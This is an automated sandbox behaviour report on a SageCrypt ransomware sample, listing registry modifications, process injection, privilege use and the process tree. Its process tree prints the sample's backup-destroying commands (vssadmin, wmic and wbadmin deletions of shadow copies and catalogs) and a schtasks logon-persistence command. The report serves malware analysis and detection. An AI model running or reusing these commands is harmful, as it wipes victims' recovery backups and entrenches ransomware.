Key created	\REGISTRY\USER\S-1-5-19	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\AppDataLow\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\AppDataLow\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\appdatalow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\AppDataLow\G2PVA01Q	explorer.exe
Key created	\REGISTRY\USER\S-1-5-20	explorer.exe

Modifies registry class 39 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\DefaultIcon	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,47"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open\command	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.sage\ = "sage.notice"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,44"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\FriendlyTypeName	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\shell\open\command	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\htafile\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,44"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\shell\open\command\ = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\f1.hta\" \"%1\""	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\shell\open\command\ = "mshta.exe \"C:\\Users\\Admin\\AppData\\Roaming\\f1.hta\" \"%1\""	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\FriendlyTypeName\ = "encrypted file"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\AppDataLow	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\AppDataLow\G2PVA01Q	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\shell\open	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\htafile\DefaultIcon	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.sage	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\FriendlyTypeName	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\AppDataLow\G2PVA01Q	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\AppDataLow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\G2PVA01Q	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\.sage\ = "sage.notice"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\sage.notice\FriendlyTypeName\ = "encrypted file"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\DefaultIcon	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\AppDataLow\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\.sage	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\htafile	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sage.notice\DefaultIcon\ = "%WinDir%\\system32\\shell32.dll,47"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Software\G2PVA01Q\FnUIpxyF = 0ef35713387de6e663e3f992a6dd0fa1c9e018d4c0f988ace97192307c880a5f8fd0c3ef4ecad446c65d28e28a96856e615c1e7b1e423fea4e98842572ed38340100000000000000	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
5808	explorer.exe
5808	explorer.exe
1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
5808	explorer.exe
5808	explorer.exe
3288	WMIC.exe
3288	WMIC.exe
3288	WMIC.exe
3288	WMIC.exe
4348	WMIC.exe
4348	WMIC.exe
4348	WMIC.exe
4348	WMIC.exe
5972	WMIC.exe
5972	WMIC.exe
5972	WMIC.exe
5972	WMIC.exe
5808	explorer.exe
5808	explorer.exe
5808	explorer.exe
5808	explorer.exe
1496	WMIC.exe
1496	WMIC.exe
1496	WMIC.exe
1496	WMIC.exe

Suspicious behavior: LoadsDriver 38 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
828	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
5808	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Token: SeBackupPrivilege	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Token: SeTakeOwnershipPrivilege	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Token: SeIncreaseQuotaPrivilege	3288	WMIC.exe
Token: SeSecurityPrivilege	3288	WMIC.exe
Token: SeTakeOwnershipPrivilege	3288	WMIC.exe
Token: SeLoadDriverPrivilege	3288	WMIC.exe
Token: SeSystemProfilePrivilege	3288	WMIC.exe
Token: SeSystemtimePrivilege	3288	WMIC.exe
Token: SeProfSingleProcessPrivilege	3288	WMIC.exe
Token: SeIncBasePriorityPrivilege	3288	WMIC.exe
Token: SeCreatePagefilePrivilege	3288	WMIC.exe
Token: SeBackupPrivilege	3288	WMIC.exe
Token: SeRestorePrivilege	3288	WMIC.exe
Token: SeShutdownPrivilege	3288	WMIC.exe
Token: SeDebugPrivilege	3288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3288	WMIC.exe
Token: SeRemoteShutdownPrivilege	3288	WMIC.exe
Token: SeUndockPrivilege	3288	WMIC.exe
Token: SeManageVolumePrivilege	3288	WMIC.exe
Token: 33	3288	WMIC.exe
Token: 34	3288	WMIC.exe
Token: 35	3288	WMIC.exe
Token: 36	3288	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3288	WMIC.exe
Token: SeSecurityPrivilege	3288	WMIC.exe
Token: SeTakeOwnershipPrivilege	3288	WMIC.exe
Token: SeLoadDriverPrivilege	3288	WMIC.exe
Token: SeSystemProfilePrivilege	3288	WMIC.exe
Token: SeSystemtimePrivilege	3288	WMIC.exe
Token: SeProfSingleProcessPrivilege	3288	WMIC.exe
Token: SeIncBasePriorityPrivilege	3288	WMIC.exe
Token: SeCreatePagefilePrivilege	3288	WMIC.exe
Token: SeBackupPrivilege	3288	WMIC.exe
Token: SeRestorePrivilege	3288	WMIC.exe
Token: SeShutdownPrivilege	3288	WMIC.exe
Token: SeDebugPrivilege	3288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3288	WMIC.exe
Token: SeRemoteShutdownPrivilege	3288	WMIC.exe
Token: SeUndockPrivilege	3288	WMIC.exe
Token: SeManageVolumePrivilege	3288	WMIC.exe
Token: 33	3288	WMIC.exe
Token: 34	3288	WMIC.exe
Token: 35	3288	WMIC.exe
Token: 36	3288	WMIC.exe
Token: SeBackupPrivilege	2312	vssvc.exe
Token: SeRestorePrivilege	2312	vssvc.exe
Token: SeAuditPrivilege	2312	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4348	WMIC.exe
Token: SeSecurityPrivilege	4348	WMIC.exe
Token: SeTakeOwnershipPrivilege	4348	WMIC.exe
Token: SeLoadDriverPrivilege	4348	WMIC.exe
Token: SeSystemProfilePrivilege	4348	WMIC.exe
Token: SeSystemtimePrivilege	4348	WMIC.exe
Token: SeProfSingleProcessPrivilege	4348	WMIC.exe
Token: SeIncBasePriorityPrivilege	4348	WMIC.exe
Token: SeCreatePagefilePrivilege	4348	WMIC.exe
Token: SeBackupPrivilege	4348	WMIC.exe
Token: SeRestorePrivilege	4348	WMIC.exe
Token: SeShutdownPrivilege	4348	WMIC.exe
Token: SeDebugPrivilege	4348	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4348	WMIC.exe
Token: SeRemoteShutdownPrivilege	4348	WMIC.exe
Token: SeUndockPrivilege	4348	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 4860	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	90
PID 4704 wrote to memory of 1924	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	91
PID 4704 wrote to memory of 1648	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	100
PID 1648 wrote to memory of 5000	1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	101
PID 1648 wrote to memory of 728	1648	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	102
PID 4704 wrote to memory of 2580	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	104
PID 1120 wrote to memory of 2012	1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	110
PID 1120 wrote to memory of 4856	1120	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	111
PID 4704 wrote to memory of 5808	4704	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe	115
PID 5808 wrote to memory of 2472	5808	explorer.exe	116
PID 5808 wrote to memory of 3972	5808	explorer.exe	118
PID 5808 wrote to memory of 5348	5808	explorer.exe	120
PID 5808 wrote to memory of 2564	5808	explorer.exe	122
PID 5348 wrote to memory of 3288	5348	cmd.exe	124
PID 5808 wrote to memory of 3300	5808	explorer.exe	127
PID 5808 wrote to memory of 4664	5808	explorer.exe	129
PID 5808 wrote to memory of 1724	5808	explorer.exe	131
PID 4664 wrote to memory of 4348	4664	cmd.exe	133
PID 5808 wrote to memory of 4620	5808	explorer.exe	135
PID 5808 wrote to memory of 1800	5808	explorer.exe	137
PID 5808 wrote to memory of 4936	5808	explorer.exe	139
PID 1800 wrote to memory of 5972	1800	cmd.exe	141
PID 5808 wrote to memory of 4612	5808	explorer.exe	143
PID 5808 wrote to memory of 2720	5808	explorer.exe	144
PID 5808 wrote to memory of 3316	5808	explorer.exe	145
PID 5808 wrote to memory of 2816	5808	explorer.exe	148
PID 5808 wrote to memory of 4604	5808	explorer.exe	149
PID 5808 wrote to memory of 5796	5808	explorer.exe	151
PID 5808 wrote to memory of 2916	5808	explorer.exe	153
PID 5796 wrote to memory of 1496	5796	cmd.exe	155

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4704
- C:\Windows\SysWOW64\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4704" "960" "780" "948" "0" "0" "976" "964" "0" "0" "0" "0"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4860
- C:\Windows\SysWOW64\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4704" "1012" "664" "1000" "0" "0" "1020" "1008" "0" "0" "0" "0"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1924
- C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
  "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe" g
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1648
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1648" "872" "768" "860" "0" "0" "888" "876" "0" "0" "0" "0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5000
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1648" "920" "664" "872" "0" "0" "768" "876" "0" "0" "0" "0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:728
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /CREATE /TN "wDAXN1Oz" /TR "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe" /SC ONLOGON /RL HIGHEST /F
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2580
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\syswow64\explorer.exe"
  2⤵
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3972
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5348
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3288
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4664
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\!HELP_SOS.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4612
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    PID:2720
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /DELETE /TN /F "wDAXN1Oz"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3316
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f2593429672.vbs"
    3⤵
    - Deletes itself
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    PID:2816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4604
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5796
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1496
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv
1⤵
PID:1672

